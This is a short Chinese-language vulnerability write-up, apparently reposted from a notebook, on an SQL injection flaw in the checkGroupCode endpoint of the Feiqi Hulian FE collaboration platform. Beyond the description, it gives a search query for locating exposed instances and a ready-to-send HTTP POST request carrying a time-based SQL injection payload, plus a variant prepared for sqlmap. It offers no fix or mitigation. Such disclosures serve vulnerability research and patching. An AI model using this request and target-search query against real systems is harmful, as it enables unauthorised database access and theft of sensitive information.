登录 白背景
源码

飞企互联FE业务协作平台checkGroupCode存在SQL注入漏洞

一、漏洞简介

FE 办公协作平台是实现应用开发、运行、管理、维护的信息管理平台。飞企互联FE业务协作平台checkGroupCode存在SQL注入漏洞，攻击者可通过该漏洞获取数据库敏感信息。

二、影响版本

  • 飞企互联FE业务协作平台

三、资产测绘

  • hunterapp.name=="飞企互联 FE 6.0+"||app.name=="飞企互联 FE"
  • 登录页面

image.png

四、漏洞复现

POST /docexchangeManage/checkGroupCode.js%70 HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 
Accept-Encoding: gzip, deflate
Cookie: JSESSIONID=4B15C07393E691675DB622D9977C79FC
Content-Type: application/x-www-form-urlencoded

code=whoami11';WAITFOR DELAY '0:0:5'--

image.png
sqlmap

POST /docexchangeManage/checkGroupCode.js%70 HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 
Accept-Encoding: gzip, deflate
Cookie: JSESSIONID=4B15C07393E691675DB622D9977C79FC
Content-Type: application/x-www-form-urlencoded

code=whoami11

image.png

原文: https://www.yuque.com/xiaokp7/ocvun2/wgeact7c4fgurkgn